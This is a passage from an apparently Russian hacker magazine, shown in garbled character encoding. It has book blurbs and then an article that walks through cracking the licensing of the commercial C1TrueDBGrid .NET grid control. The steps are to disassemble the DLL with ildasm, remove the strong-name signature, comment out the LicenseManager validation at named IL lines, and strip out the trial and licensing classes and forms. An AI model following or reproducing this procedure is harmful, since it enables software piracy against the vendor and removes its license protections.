«æåëåçíûì». Ê ïðèìåðó, àâòîìåõàíèê-ëþ-
áèòåëü 50-õ ãîäîâ ðàçóêðàñèë ñâîé
Chevrolet Fleetline è ïîñòàâèë íà íåãî äâè-
ãàòåëü ñ òóðáîíàääóâîì — òîæå, ïî ñóòè,
«æåëåçíûé» õàêèíã. 

Áåðåøü îáûêíîâåííîå áûòîâîå óñò-
ðîéñòâî è ïðåâðàùàåøü åãî â óíèêàëüíîå
ïðîèçâåäåíèå — ïîëó÷àåòñÿ êàê ðàç «æå-
ëåçíûé» õàê.

Ñ ýòîé êíèãîé òû ñìîæåøü ìîäèôèöè-
ðîâàòü ìíîæåñòâî óñòðîéñòâ îò Macintosh’à
äî ñîòîâîãî òåëåôîíà. Êîíêðåòíûå ïðèìå-
ðû: ñîçäàíèå ñîáñòâåííîãî òåðàáàéòíîãî
æåñòêîãî äèñêà, äîìàøíèé òåàòð íà äîìàø-
íåì êîìïüþòåðå, ìîäèôèêàöèÿ ïðèñòàâîê
Atari, ìîäèôèêàöèÿ Playstation, ÷òî ìîæíî
ñäåëàòü ñ iPOD è ò.ï.

âñêðûòèå    
.NET

ÝÒÀ ÑÒÀÒÜß ÏÎÂÅÑÒÂÓÅÒ Î ÏÐÈÍÖÈÏÈÀËÜÍÛÕ ÎÑÎÁÅÍÍÎÑÒßÕ ÂÇËÎÌÀ .NET-ÊÎÌ-
ÏÎÍÅÍÒÎÂ. ÊÀÊ ÈÇÂÅÑÒÍÎ, ÊÎÌÏÎÍÅÍÒ — ÝÒÎ ÏÐÎÃÐÀÌÌÍÛÉ ÏÐÎÄÓÊÒ ÄËß ÐÀÇ-
ÐÀÁÎÒ×ÈÊÀ. ÑÌÛÑË ÊÎÌÌÅÐ×ÅÑÊÈÕ ÊÎÌÏÎÍÅÍÒÎÂ ÇÀÊËÞ×ÀÅÒÑß Â ÒÎÌ, ×ÒÎÁÛ
ÝÊÎÍÎÌÈÒÜ ÂÐÅÌß |N|M{INT3 TEAM}(NIM@INT3.RU)

Õàêèíã: èñêóññòâî 
ýêñïëîéòà

ÑÏá.: Ñèìâîë-Ïëþñ, 2005 
Ýðèêñîí Ä. / 240 ñòðàíèö
Ðàçóìíàÿ ööåíà: 236 ðóáëåé

Åñòü ìíîãî êíèã, â êîòîðûõ
ýêñïëîéòû îïèñàíû ïîâåðõ-

íîñòíî. Ïðî÷èòàë òû êàêóþ-íèáóäü èç íèõ,
íî â òåìó íå âíèê, ïîýòîìó íå ñìîæåøü ñî-
òâîðèòü ÷òî-ëèáî ðåàëüíîå ñàìîñòîÿòåëü-
íî — íå õâàòèò áàçû. ×òîáû íà÷àòü ìûñëèòü
êàê õàêåð, íóæíî ïðîíèêíóòüñÿ äóõîì è òåî-
ðèåé õàêèíãà, è òîëüêî ïîòîì îñèëèøü
ñîáñòâåííûå ýêñïëîéòû èëè ñìîæåøü ïðîòè-
âîñòîÿòü àòàêàì íà ñîáñòâåííóþ ñèñòåìó
(êîìó ÷òî áëèæå).

Ýòà êíèãà êàê ðàç äëÿ òåõ, êòî îòíî-
ñèòñÿ ê õàêèíãó ñåðüåçíî. Òåîðèÿ è íàãëÿä-
íûå ïðèìåðû ïîêàæóò, êàê ñîçäàþò
ýêñïëîéòû, êàê ïèøóò ñîáñòâåííûé ïîëèìî-
ðôíûé øåëë-êîä, êàê ïðåîäîëåâàþò çàïðåò
íà âûïîëíåíèå â ñòåêå, êàê ïåðåíàïðàâëÿ-
åòñÿ ñåòåâîé òðàôèê è ïåðåõâàòûâàþòñÿ
TCP-ñîåäèíåíèÿ, êàê ðàñøèôðîâûâàþòñÿ
äàííûå áåñïðîâîäíîãî ïðîòîêîëà 802.11b 
è ìíîãîå äðóãîå.H
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òîâ ïîëüçîâàòåëü âèäèò, è ðèñîâàòü òîëüêî òî, ÷òî
äîñòóïíî âçãëÿäó (â íàøåì ñëó÷àå äîëæíî ðèñî-
âàòüñÿ òîëüêî 20 ýëåìåíòîâ). Äàííàÿ òåõíîëîãèÿ
ïîçâîëÿåò ïðîðèñîâûâàòü êîíòðîë ñ îäèíàêîâîé
ñêîðîñòüþ, â òî æå âðåìÿ êîëè÷åñòâî ýëåìåíòîâ
íèêîãäà íå ïîâëèÿåò íà ñêîðîñòü ñêðîëëà.

Çäåñü ìîæíî óäåëèòü îñîáîå âíèìàíèå
èìåííî ïðîêðóòêå. Íåêîòîðûå èç native Grid-êîí-
òðîëîâ, âñòðå÷àâøèõñÿ ìíå, ðåàëèçóþò Virtual
Render Control — äåëàþò ñêðîëëèíã ïîñòðî÷íî, òî
åñòü áëàãîäàðÿ èì ïðè ïðîêðóòêå òåêñò äâèãàåòñÿ
äèñêðåòíî, êàê áû ïåðåìåùàÿñü èç îäíîé íåâèäè-
ìîé ñòðîêè â äðóãóþ. Ýòîò ñïîñîá ðåàëèçàöèè òåõ-
íîëîãèè Virtual Render Control ëåã÷å, ÷åì ïîïèê-
ñåëüíûé ñêðîëëèíã. Áîëåå òîãî, íàëè÷èå ïîïèê-
ñåëüíîãî ñêðîëëèíãà ñâèäåòåëüñòâóåò î âûñîêîì
ïðîôåññèîíàëèçìå èçãîòîâèòåëåé-ïðîãðàììè-
ñòîâ, òàê êàê òàêàÿ ðåàëèçàöèÿ òðåáóåò âûñîêîé
ïðîèçâîäèòåëüíîñòè è ñàìîãî êîíòðîëà â öåëîì, è
ìîäåëè äîñòóïà ê ýëåìåíòó êîíòðîëà.

Îäíàæäû, êîãäà ÿ íàïèñàë ñîáñòâåííûé IL-äè-
çàññåìáëåð, ìíå ïîòðåáîâàëñÿ òàêîé .NET-êîíòðîë,
êîòîðûé âûäåëÿë áû ïðîñòðàíñòâà èìåí, êëàññû è
ìåòîäû â îòäåëüíûå ñòðóêòóðû Nested Tables. Ñòàë
èñêàòü ïîäõîäÿùèé. Íàøåë ìíîãî êðàñèâûõ, óäîá-
íûõ, íî íè îäèí èç íèõ íå ðåàëèçîâûâàë Virtual Ren-
der Control. Êàê ðåçóëüòàò, áîëüøèå ïîòåðè ïàìÿòè,
ìåäëåííàÿ ïðîðèñîâêà è íåâîçìîæíûé ñêðîëëèíã. Ê
ïðèìåðó, ïðè äèçàññåìáëèðîâàíèè ñòàíäàðòíîé áè-
áëèîòåêè mscorlib.dll è îòîáðàæåíèè â XceedGrid áûëî
ðàñòðà÷åíî 1450 Ìá ïàìÿòè, ýëåìåíòû äîáàâëÿëèñü
40 ìèíóò, à ðåíäåðèíã ïðîèñõîäèë çà 45 ñåêóíä. Ãäå
ýòî âèäàíî? Êîãäà ÿ íàïèñàë ñëóæáå òåõíè÷åñêîé
ïîääåðæêè, ìíå ïîñîâåòîâàëè ïðèâåñòè âñå âëîæåí-
íûå ýëåìåíòû â ñâåðíóòûé âèä. ×òî æå ïîëó÷àåòñÿ?
ß äîëæåí ïîñòîÿííî ùåëêàòü íà íóæíûõ ýëåìåíòàõ,
÷òî îáëàìûâàåò — íàìíîãî óäîáíåå êðóòèòü òðåòüþ
êíîïêó ìûøè. Âïðî÷åì, è îñòàëüíûå Grid’û íå îòëè-
÷àëèñü ìîãó÷åé ïðîèçâîäèòåëüíîñòüþ.

Ñåé÷àñ ïîøëà ìîäà íà ïîääåðæêó äèçàéíåðà
ôîðì, íî çà÷åì äåëàòü åå äëÿ ýëåìåíòà? ß íèêîã-
äà òàê è íå ïîéìó ýòîãî. Ëèøíèé ðàç çàòðà÷èâàåò-
ñÿ ïàìÿòü, ïðèòîì çàòðàòû óìíîæàþòñÿ íà êîëè÷å-
ñòâî ýëåìåíòîâ! Ïî âîçìîæíîñòè ÿ ñòàðàþñü âûíå-
ñòè ïîëÿ êëàññà (êîíñòàíòû) èç ýëåìåíòà êóäà-íè-
áóäü â ñòàòèêó, ÷òîáû îí çàíèìàë ìåíüøå ïàìÿòè
è ðàáîòàë áûñòðåå. ßñíî, êîíå÷íî, ÷òî êðàñîòà
(òî÷íåå, êðàñîòà è óäîáñòâî ðàçðàáîòêè) òðåáóåò
æåðòâ, íî ÿ âñåãäà äåëàþ âûáîð â ïîëüçó áûñòðî-
äåéñòâèÿ è ïðîèçâîäèòåëüíîñòè. Èç-çà ïðîãðàììè-
ñòîâ .NET, íåëåïûõ è èñêóøåííûõ ëåãêîñòüþ èñ-
ïîëüçîâàíèÿ òîðìîçíóòûõ òåõíîëîãèé, è ðàñïðî-
ñòðàíèëîñü ñòîéêîå ïðåäóáåæäåíèå î .NET êàê î
âåëèêîì òîðìîçå. Êàê áû íå òàê! Äëÿ ðåøåíèÿ ïðî-
áëåìû ìíå ïðèøëîñü íàïèñàòü ñîáñòâåííûé êîí-
òðîë: ïðè îòîáðàæåíèè ëèñòèíãà áèáëèîòåêè
mscorlib.dll çàòðà÷èâàåòñÿ âñåãî 4,5 Ìá ïàìÿòè,
ðåíäåð ïðîèñõîäèò çà ~0,081 ñåêóíäû, äîáàâëåíèå
âñåõ ýëåìåíòîâ — ~0,8 ñåêóíä, ïðèëàãàåòñÿ ïîïèê-
ñåëüíûé ñêðîëëèíã. Â ìîåì Grid’e íåò íàâîðî÷åí-
íîé ïîääåðæêè äèçàéíåðà ôîðì è âñÿêèõ ïðèìî-
÷åê, çàòî îí ïðîñòîé, áûñòðûé è êðàñèâûé.

ìàò÷àñòü. Äëÿ îïûòîâ âîçüìåì êîìïîíåíò
C1TrueDBGrid, âçÿòûé ñ ñàéòà www.purecomponents.com.
Ýòîò Grid-êîíòðîë ñäåëàí â îäíîé èç âåäóùèõ êîì-
ïàíèé ïî ïðîèçâîäñòâó êîìïîíåíòîâ. Ðàáîòà áóäåò
èäòè ñëåäóþùèì îáðàçîì. Áåðåì ëþáîé ïðèìåð,
ïîñòàâëÿåìûé ñ êîìïîíåíòîì, êîìïèëèðóåì åãî, â
ïàïêå ïðîåêòà íàõîäèì ïîÿâèâøóþñÿ ïàïêó \deb-
ug\bin. Ïåðåõîäèì â íåå, äèçàññåìáëèðóåì:

ildasm c1.win.c1truedbgrid.DLL 

/out=c1.win.c1truedbgrid.h.

Äëÿ àññåìáëèðîâàíèÿ íóæíî óäàëèòü (â Studio)
ýòîò êîíòðîë èç References. È òîëüêî ïîòîì äåëàòü

ilasm c1.win.c1truedbgrid.h /dll /debug

Òî÷íî òàê æå ïîñòóïàåì ïðè êàæäîì àññåìáëèðî-
âàíèè. Èíà÷å ïðè àññåìáëèðîâàíèè âûéäåò îøèá-
êà: Failed to write output file, error code=0x80070020.
Ýòî çíà÷èò, ÷òî ôàéë çàíÿò Studio è îíà íå ïîçâî-
ëÿåò ïåðåçàïèñûâàòü åãî. Åñëè òâîè äåéñòâèÿ áû-
ëè ïðàâèëüíûìè, òû ñìîæåøü òðàññèðîâàòü êîì-
ïîíåíò â òîì æå îêíå Studio, ãäå íàõîäèòñÿ è ñàì
ïðèìåð åãî èñïîëüçîâàíèÿ. Îäíàêî ïðè ïåðâîì çà-
ïóñêå ñðàçó ïîëó÷àåì îøèáêó: «Ñáîé ïðè ïðîâåðêå
ñòðîãîãî èìåíè äëÿ ñáîðêè 'C1.Win.C1TrueDBGrid'».
Ýòî öèôðîâàÿ ïîäïèñü, èìåíóåìàÿ Strong Name.
Â äðóãèõ ìîèõ ñòàòüÿõ â ýòîì ÑÏÅÖå ÿ ìíîãî ïè-
ñàë î íåé, íå áóäó ïîâòîðÿòüñÿ. Äëÿ óäàëåíèÿ
ïîäïèñè íóæíî çàêîììåíòèðîâàòü àòðèáóòû .cu-
stom instance void [mscorlib]System.Reflection.As-
semblyKeyFileAttribute::.ctor(string) è .publickey.
Ïðîøó íå óäàëÿòü êîä, ëó÷øå ïîìåùàòü åãî â
êîììåíòàðèè.

Â ýòîé ñòàòüå ÿ ÷àñòî ãîâîðþ î «íîìåðàõ
ñòðîê». Åñëè êàêèå-òî ñòðîêè áóäóò óäàëåíû, òî,

ñîîòâåòñòâåííî, è íóìåðàöèÿ ñòðîê èçìåíèòñÿ.
Íàøå èññëåäîâàíèå íà÷èíàåòñÿ ñ òîãî, ÷òî ìû
îáíàðóæèâàåì â êîíñòðóêòîðå C1TrueDBGrid âîò
òàêóþ ñòðîêó:

this.0WB = LicenseManager.Validate(ty

peof(C1.Win.C1TrueDBGrid.C1TrueDBGrid), 

this);

Çäåñü êîíòðîë èñïîëüçóåò ñòàíäàðòíûå âîçìîæ-
íîñòè ïðîâåðêè ëèöåíçèè ñ ïîìîùüþ êëàññà Sy-
stem.ComponentModel.LicenseManager. Êàê âèä-
íî èç âûçîâà, ðåçóëüòàò ïðèñâàèâàåòñÿ ïðèâàò-
íîìó ïîëþ êëàññà private License 0WB. ×òîáû
óïðîñòèòü çàäà÷ó ïî âûÿâëåíèþ âñåõ ó÷àñòêîâ
êîäà, êîòîðûå îáðàùàþòñÿ ê ýòîìó ïîëþ, ìû
ïðîñòî óäàëèì åãî. Ê ñîæàëåíèþ, êîìïèëÿòîð íå
âûäàåò íàì îøèáêè â ìåñòàõ, ãäå èñïîëüçóåòñÿ
äàííîå ïîëå, íî êîãäà çàïóñòèì ïðèëîæåíèå,
îøèáêè âûÿâÿòñÿ.

Îòêðîþ íåñêîëüêî ñåêðåòîâ áûñòðîé íàâèãà-
öèè ïî IL-êîäó â VS2003. Çàéòè â ìåíþ Edit Find
& Replace Find èëè ïðîñòî íàæàòü <Ctrl>+<F>,
ïîñòàâèâ ãàëî÷êó â ïóíêòå Use. Âûáðàòü â combo-
box’å îïöèþ Wildcards (÷òî-òî âðîäå ÿçûêà ïîäñòà-
íîâî÷íûõ ñèìâîëîâ â ïîèñêîâèêå ôàéëîâ
Windows). Òåïåðü, ÷òîáû íàéòè íàø êëàññ, ìû ââî-
äèì òàêîé çàïðîñ: [.]class*C1TrueDBGrid. È îêàçû-
âàåìñÿ â íà÷àëå êëàññà. Íåîáõîäèìîå íàì ïîëå
íàõîäèòñÿ íèæå. Ïî çàïðîñó [.]field*0WB íàõîäèì
åãî â ñòðîêå 74357, çàêîììåíòèðóåì åãî, à çàîäíî
íàéäåì è çàêîììåíòèðóåì çàïîëíåíèå ýòîãî ïîëÿ
â êîíñòðóêòîðå êëàññà [.]class*C1TrueDBGrid ->
[.]method.

Çäåñü åñòü äâà îáðàùåíèÿ ê ýòîìó ïîëþ. Ïðè
ïåðâîì ïîëþ ïðèñâàèâàåòñÿ null. Òóò êîììåíòèðó-
åì ñòðîêè IL_00ae*IL_00b0 (çäåñü è äàëåå çíàê *

ëëèèññòòèèííããèè

àòðèáóòû ññáîðêè ((òàì ææå, ããäå ììû ççàêîììåíòèðîâàëè ..publickey) 
.custom instance void C1.Win.'0M'::.ctor(string) = 

(01 00 24 32 31 42 31 31 44 35 37 2D 39 34 37 38 //..$21B11D57-9478

2D 34 32 30 65 2D 41 32 42 32 2D 34 43 36 41 41 //-420e-A2B2-4C6AA

45 46 39 38 45 34 36 00 00 ) //EF98E46..

.custom instance void C1.Win.'0Q'::.ctor(string,

string,

string) = (01 00 24 73 75 70 70 6F 72 74 2E 74 64 62 67 72

//..$support.tdbgr

69 64 2E 6E 65 74 40 63 6F 6D 70 6F 6E 65 6E 74 //id.net@component

6F 6E 65 2E 63 6F 6D 3A 6E 65 77 73 3A 2F 2F 6E //one.com:news://n

65 77 73 2E 63 6F 6D 70 6F 6E 65 6E 74 6F 6E 65 //ews.componentone

2E 63 6F 6D 2F 43 6F 6D 70 6F 6E 65 6E 74 31 2E //.com/Component1.

70 75 62 6C 69 63 2E 6E 65 74 2E 74 64 62 67 72 //public.net.tdbgr

69 64 00 00 00 ) //id...

.custom instance void C1.Win.'0L'::.ctor(string,

string) = (01 00 02 32 34 24 34 34 33 45 43 39 35 30 2D 38

//...24$443EC950-8

37 44 33 2D 34 31 34 34 2D 41 42 38 33 2D 39 36 //7D3-4144-AB83-96

38 39 45 44 37 44 33 30 43 33 00 00 ) //89ED7D30C3..



óêàçûâàåò, ÷òî íóæíî êîììåíòèðîâàòü âñå ñòðîêè
ìåæäó ýòèìè ìåòêàìè âêëþ÷èòåëüíî). Âî âòîðîì
îáðàùåíèè ïðîèñõîäèò çàïîëíåíèå ïîëÿ îáúåêòîì
License, î ÷åì ÿ óæå ãîâîðèë. Êîììåíòèðóåì
IL_00c6*IL_00d7. Êîìïèëèðóåì, çàïóñêàåì — è
îãî! Trial’íîå îêíî áîëüøå íå ïîÿâëÿåòñÿ.

âîò ññàìûé ááûñòðûé ââçëîì .NET-êîìïîíåíòà
èç âñåõ ïðîäåëàííûõ ìíîé. Ïðîøëî îêîëî òðåõ
ìèíóò! Îêàçàëîñü, ÷òî âçÿòîå ìíîé ïîëå íå èñ-
ïîëüçóåòñÿ íèãäå áîëüøå. Òåïåðü, ïîæàëóé, ñòî-
èò íåìíîãî ïî÷èñòèòü êîìïîíåíò îò ìóñîðà. Ïåð-
âàÿ âåùü, êîòîðàÿ îòíîñèòñÿ ê ìóñîðó, — ýòî ñà-
ìà trial’íàÿ ôîðìà.

Âòîðîå çëî — trial’íîå îêíî. Êîãäà â äèçàé-
íåðå ôîðìû ìû äîáàâëÿåì êîíòðîë íà ôîðìó,
ïîñëå ùåë÷êà íà íåì ïðàâîé êíîïêîé ìûøè
ìîæíî óâèäåòü â êîíòåêñòíîì ìåíþ ýëåìåíò
About ComponentOne C1TrueDBGrid. Ïðè åãî âû-
áîðå ïîÿâëÿåòñÿ trial’íîå îêíî, êîòîðîå ìû è ñî-
áðàëèñü óäàëèòü.

Ñàìûé áûñòðûé è ëåãêèé ñïîñîá óçíàòü, êà-
êîé êëàññ ñîçäàåò îêíî, — ñäåëàòü áðÿê â òîò ìî-
ìåíò, êîãäà îíî ïîÿâèëîñü, òî åñòü íóæíî ïðîñòî
ïåðåéòè â îòëàä÷èê è íàæàòü <Ctrl>+Break. Èòàê,
âîçâðàùàåì âñå èçìåíåíèÿ, ñäåëàííûå íàìè â ìå-
òîäå C1TrueDBGrid::.ctor, è çàïóñêàåì. Êîãäà æå
ïîÿâèòñÿ trial’íîå îêíî, áðÿêàåì. ×òîáû óçíàòü, â
êàêîì êëàññå ìû îêàçàëèñü, äåëàåì SerchUP
[.]class -> [.]NameSpace.

Èòàê, ìû íàõîäèìñÿ â ìåòîäå C1.Win.0V::Y3. Â Re-
flector’å ïîñìîòðèì ýòîò ìåòîä è êëàññ íà íàëè÷èå
ïîëåçíîãî êîäà. Çàáûë ñêàçàòü, ÷òî â ïîñëåäíèõ
âåðñèÿõ Reflector’à äîáàâëåíà âîçìîæíîñòü óçíà-
âàòü, ãäå èñïîëüçóåòñÿ äàííûé êëàññ, ìåòîä èëè
ïîëå. Äëÿ ýòîãî íà ýëåìåíòå äåðåâà êëàññîâ âûçû-
âàåøü êîíòåêñòíîå ìåíþ è íàæèìàåøü Analyser. Â
ïîÿâèâøåìñÿ îêíå óâèäèøü äâà ýëåìåíòà: De-
pends On è Used By («Çàâèñèò îò» è «Èñïîëüçóåò-
ñÿ â» ñîîòâåòñòâåííî). Áûñòðî ïðîñìîòðåâ 19
êëàññîâ C1.WIN â àíàëèçàòîðå, ìû îáíàðóæèëè,
÷òî òîëüêî ïÿòü èñïîëüçóþòñÿ çà ïðåäåëàìè ïðî-
ñòðàíñòâà èìåí C1.WIN è âñå òàê èëè èíà÷å îòíî-
ñÿòñÿ ê ìóñîðó. Èõ òîæå çàíîñèì â êîðçèíó.

1 internal class 0L : Attribute

-- Assembly C1.Win.C1TrueDBGrid

2 internal class 0M : Attribute

-- Assembly C1.Win.C1TrueDBGrid

3 internal class 0Q : Attribute

-- Assembly C1.Win.C1TrueDBGrid

4 internal class ProviderInfo : Licen-

seProvider

-- C1.Win.C1TrueDBGrid.TDBDropDesig-

ner::DisplayAboutBox(object sender, 

EventArgs e);

-- C1.Win.C1TrueDBGrid.TDBGridDesig-

ner::DisplayAboutBox(object sender, 

EventArgs e);

5 internal interface U

-- class C1TrueDBGrid : Frame, U,

IC1ControlPrintable

Ïîëó÷àåòñÿ, ÷òî åñëè ýòè 19 êëàññîâ áóäóò óäàëå-
íû, êîìïîíåíò íåïëîõî ïîõóäååò :). Òàê çà÷åì íà-
øåé ïðîãðàììå ëèøíèé âåñ? Êàê âèäíî ïî òàáëè-
öå, ïåðâûå òðè êëàññà èñïîëüçóþòñÿ â âèäå àòðè-
áóòîâ ñáîðêè (âðåçêà 1 — «Àòðèáóòû ñáîðêè»).

Èòàê, êîììåíòèðóåì ñòðîêè 73*88. Äàëåå
íà î÷åðåäè äâà îáðàáîò÷èêà ñîáûòèÿ â êëàññàõ
TDBDropDesigner è TDBGridDesigner. Êîãäà óäà-
ëÿåøü ìåòîä îáðàáîò÷èêà ñîáûòèÿ, âìåñòå ñ
íèì íåîáõîäèìî óäàëèòü ñòðîêè êîäà, êîòîðûå
íàâåøèâàþò íà íåãî EventHandler. Ïðàâèëüíûå
ïðîãðàììèñòû äåëàþò ýòî â ìåòîäå èíèöèàëèçà-
öèè void Initialize, êîòîðûé ñîçäàåòñÿ àâòîìàòè-
÷åñêè ïðè ñîçäàíèè ôîðì è êîíòðîëîâ è âûçû-
âàåòñÿ èç êîíñòðóêòîðà êëàññà. Íà÷íåì ñ ìåòîäà
TDBDropDesigner::DisplayAboutBox. Íàõîäèì
åãî â ëèñòèíãå: [.]class*TDBDropDesigner -> Dis-
playAboutBox*object è êîììåíòèðóåì â ñòðîêàõ
142891*142901. Òåïåðü óäàëèì èíèöèàëèçàöèþ
EventHandler. Çàõîäèì â ìåòîä [.]class*TDBDrop-
Designer -> Initialize.

Â Reflector’å (C#) òî, ÷òî ìû äîëæíû çàêîì-
ìåíòèðîâàòü, âûãëÿäèò òàê: this.get_Verbs().Add(new
DesignerVerb(11.Z1("About ComponentOne C1True-
DBGrid..."), new EventHandler(this.DisplayAboutBox))),
à â IL ýòîò êîä íàõîäèòñÿ ïî ìåòêàì IL_0018*IL_003e.
Íóæíî çàêîììåíòèðîâàòü åãî, è òåì ñàìûì óáüåì
åùå îäíîãî çàéöà: òåïåðü â êîíòåêñòíîì ìåíþ

êîíòðîëà, êîãäà ìû íàõîäèìñÿ â äèçàéíåðå ôîð-
ìû, íå áóäåò ìåíþ About ComponentOne C1True-
DBGrid. Îäíàêî åñëè ïðîñòî ïåðåêîìïèëèðîâàòü
êîíòðîë, èçìåíåíèÿ íå áóäóò âèäíû. Äåëî â òîì,
÷òî Studio èìååò ñâîé ñîáñòâåííûé ðåôåðåíñ, ïîý-
òîìó äèçàéíåð ôîðì ñìîòðèò íå íà íàø ìîäèôè-
öèðîâàííûé êîíòðîë, à íà îðèãèíàë. ×òîáû óâè-
äåòü èçìåíåíèÿ, çàõîäèì â äèçàéíåð ôîðì, óäàëÿ-
åì ñ ôîðìû êîíòðîë, äîáàâëÿåì íàø êîíòðîë íà
ïàíåëü êîíòðîëîâ, ðèñóåì ýòîò Grid íà ôîðìå åùå
ðàç. Òåïåðü âñå èçìåíåíèÿ âèäíû. Òî æå ñàìîå
ïðîäåëàåì ñ êëàññîì TDBGridDesigner.

îñòàëñÿ ïïîñëåäíèé, ïïÿòûé ïïóíêò. Íàõîäèì
ìåòîä [.]class*TDBGridDesigner -> Initialize. Êîììåí-
òèðóåì èíèöèàëèçàöèþ EventHandler ïî ìåòêàì
IL_0018*IL_003e. Äàëåå íàõîäèì ìåòîä, îáðàáàòû-
âàþùèé äàííîå ñîáûòèå DisplayAboutBox*object.
Êîììåíòèðóåì ñòðîêè 143177*143187.

Êëàññ C1TrueDBGrid íàñëåäóåò ðåàëèçà-
öèþ îò èíòåðôåéñà C1.Win.U. Â Reflector’å ñìî-
òðèì íà ýòîò èíòåðôåéñ. Îí ñîäåðæèò âñåãî îäèí
ìåòîä — Assembly GetCallingAssembly(), à çíà-
÷èò, â êëàññå C1TrueDBGrid òîæå åñòü ýòîò ìåòîä
(îí íàñëåäóåòñÿ îò äàííîãî èíòåðôåéñà). Ïðè-
äåòñÿ óäàëèòü, ïîñêîëüêó òåïåðü íèêòî íå áóäåò
âûçûâàòü åãî, íî íà âñÿêèé ñëó÷àé ïåðåä óäàëå-
íèåì ïðîâåðèì àíàëèçåðîì, ãäå îí èñïîëüçóåò-
ñÿ. Ïîëó÷àåòñÿ, ÷òî íèãäå? Íà ñàìîì äåëå âñå-
òàêè èñïîëüçóåòñÿ, íî ïî-õèòðîìó. Âñïîìíè íà-
÷àëî ñòàòüè — òî ìåñòî, ãäå äåëàëè èñïðàâëåíèå
â êîíñòðóêòîðå êëàññà

C1TrueDBGrid, this.0WB = LicenseMana-

ger.Validate(typeof(C1.Win.C1TrueDBGrid.

C1TrueDBGrid), this).

Â ýòîé ñòðîêå â âèäå ïàðàìåòðà ïåðåäàåòñÿ ññû-
ëêà this (ññûëêà íà òåêóùèé êëàññ). LicenseMana-
ger â ñâîþ î÷åðåäü ïðîâåðÿåò, èìååò ëè ýòîò
îáúåêò àòðèáóò <LicenseProvider(...)>. Â âèäå ïàðà-
ìåòðà äîëæåí âûñòóïàòü êëàññ, ïðîèçâîäíûé îò
System.ComponentModel.LicenseProvider. Åñëè âñå
íîðìàëüíî, òî LicenseManager ñîçäàåò îáúåêò 
ñ çàäàííûì â àòðèáóòå òèïîì, ãäå è ïðîèñõîäèò
ïðîâåðêà êëþ÷à. Â íàøåì ñëó÷àå êëþ÷ ïðîâåðÿåò-
ñÿ â êëàññå Ñ1.win.ProviderInfo.

Âäðóã â ìîþ ãîëîâó ïðèøëà ìûñëü î òîì,
÷òî áûëî áû íåïëîõî óäàëèòü äàííûé àòðèáóò.
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Ñõåìà ýòîãî âñòðîåííîãî ëèöåíçèðîâàíèÿ ñâî-
äèòñÿ ê òîìó, ÷òî ïëàòôîðìà .NET äåëàåò Call-
Back, ñîçäàâàÿ îáúåêò, óêàçàííûé â âèäå ïàðàìå-
òðà àòðèáóòà <LicenseProvider(...)>. Íàâåðíîå, 
â Microsoft ñ÷èòàþò, ÷òî â õîðîøî îáôóñöèðîâàí-
íîì êîäå íàéòè ïðîâåðêó êëþ÷à òÿæåëî, ïðè óñëî-
âèè ÷òî âûçîâ ïðîâåðêè ïîéäåò ÷åðåç ýòîò ñòðàí-
íûé CallBack. Äî òîãî êàê íà÷àë ïèñàòü ñòàòüþ, ÿ
íå èìåë äàæå ïðåäñòàâëåíèÿ î òîì, êàê ýòî ðàáî-
òàåò, íî ðàçîáðàëñÿ ìåíåå ÷åì çà ïàðó ìèíóò.
Îäíàêî âåðíåìñÿ ê äåëó.

Âî-ïåðâûõ, íóæíî óäàëèòü èíòåðôåéñ
Ñ1.win.U èç ñïèñêà íàñëåäóåìûõ èíòåðôåéñîâ. Íà-
õîäèì êëàññ [.]class*C1TrueDBGrid è âèäèì ñòðîêó
implements C1.Win.U. Îíà äîëæíà âûãëÿäåòü òàê:
implements /*C1.Win.U,*/ .

Íåìíîãî íèæå åñòü è àòðèáóò: .custom instan-
ce void [System]System.ComponentModel.License-
ProviderAttribute. Åãî òîæå êîììåíòèðóåì. Òåïåðü
íàõîäèì ìåòîä GetCallingAssembly(), êîòîðûé íà-
õîäèòñÿ â ñòðîêàõ 74511*74521.

Íàêîíåö-òî ìû èçáàâèëèñü îò âñåãî êîäà,
èñïîëüçóþùåãî êëàññû ïðîñòðàíñòâà èìåí C1.Win,
è òåïåðü èõ ìîæíî ïîäâåðãíóòü áëàãîïîëó÷íîìó
óäàëåíèþ. Íàõîäèì íà÷àëî C1.Win [.]Namespa-
ce*C1.Win è, íà÷èíàÿ ñî ñòðîêè 144314 äî ñòðîêè
156166, êîììåíòèðóåì ýòîò êîä. Öåëûõ 11 òûñÿ÷
ñòðîê IL-êîäà :), ïðè÷åì ýòî åùå íå âñå. Â ëèñòèí-
ãå âñå êëàññû è ïðîñòðàíñòâà èìåí ñóùåñòâóþò 
â êîðîòêîì ôîðìàòå — òóò ïðåäñòàâëåí ñâîåãî
ðîäà êàòàëîã, êîòîðûé îïèñûâàåò ñòðóêòóðó ñáîð-
êè, è êëàññû â íåì ïóñòûå. Óêàçûâàåòñÿ òîëüêî
íàçâàíèå êëàññà è åãî àòðèáóòû, òàêèå êàê áàçî-
âûé êëàññ, ñïèñîê èíòåðôåéñîâ, êîòîðûå îí îáÿ-
çóåòñÿ ðåàëèçîâûâàòü. Òàê ÷òî çäåñü ìû äîëæíû
òàêæå ïðîäóáëèðîâàòü èçìåíåíèÿ. Çàêîììåíòè-
ðóåì èíòåðôåéñ C1.Win.U ó êëàññà C1TrueDBGrid
â ñòðîêå 606. Çàêîììåíòèðóåì è 19 êëàññîâ â
ñòðîêàõ 1408*1499.

Òåïåðü óäåëèì âíèìàíèå íåíóæíûì ðåñóð-
ñàì. Èõ èñïîëüçîâàëè trial’íûå ôîðìû, êîòîðûõ
òåïåðü íåò. Ñîîòâåòñòâåííî, èç IL-ëèñòèíãà íóæíî
óäàëèòü è ñàìè ðåñóðñû. Îïèñàíèå ðåñóðñîâ íà-
÷èíàåòñÿ ñî ñòðîêè 102. Íåîáõîäèìî çàêîììåíòè-
ðîâàòü ðåñóðñû: C1.Win.LicensingForm.resources,
C1.Win.BetaAboutForm.resources, C1.Win.About-
Form.resources.

Òåïåðü âîçâðàùàåì íàøè èñïðàâëåíèÿ 
â êîíñòðóêòîðå êëàññà C1TrueDBGrid (îíè áûëè
ïðîäåëàíû â íà÷àëå ñòàòüè, íî ïîòîì ìû îòìåíè-
ëè èõ). Êîìïèëèðóåì, çàïóñêàåì è âèäèì, ÷òî âñå
ðàáîòàåò ïðåêðàñíî. Òåïåðü ñêîìïèëèðóåì åùå
ðàç, íî áåç ôëàãà /debug. Â èòîãå ðàçìåð ôàéëà
ñîñòàâèë 784 Êá, à ðàçìåð îðèãèíàëà — 888 Êá.
Ñâîèìè ìàíèïóëÿöèÿìè ìû ñýêîíîìèëè 104 êèëî-
